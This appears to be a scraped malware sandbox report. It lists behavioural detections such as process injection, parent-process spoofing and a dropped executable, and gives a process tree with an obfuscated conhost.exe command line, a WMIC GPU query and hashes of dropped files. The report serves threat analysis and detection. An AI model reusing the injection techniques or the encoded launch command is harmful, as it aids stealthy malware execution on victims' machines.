- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:972 -
C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵PID:1460
-
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
PID:4176
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
Filesize
2.0MB
MD5a16a669a09bf158058b83e04e69fe38e
SHA1f6c94763850d9e590d86057139e8895a7aacdeea
SHA256cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
-
Filesize
2KB
MD5d85ba6ff808d9e5444a4b369f5bc2730
SHA131aa9d96590fff6981b315e0b391b575e4c0804a
SHA25684739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA5128c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
-
Filesize
944B
MD562623d22bd9e037191765d5083ce16a3
SHA14a07da6872672f715a4780513d95ed8ddeefd259
SHA25695d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA5129a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992
-
Filesize
1KB
MD569c8060e76f18ca0a78e9bc636d8e571
SHA1ca6763632a77cc47cbad38d4e5ffd138060c64b8
SHA256cd86d72829a84d1cb1b93bdec243a3e69eaf54daaf8e4751b5feb8efb8f08017
SHA512b8b1a27221cba42494471e4152223e8b573eaca36bd6b4c42d27fb97764bd50aa21d405d6d7950253b0be49d7c3c409d0ec248b73c38dbf37f4cc523822b8809
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize4KB
MD5bdb25c22d14ec917e30faf353826c5de
SHA16c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA256e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
SHA512b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
-
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5b42c70c1dbf0d1d477ec86902db9e986
SHA11d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA2568ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
SHA51257fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5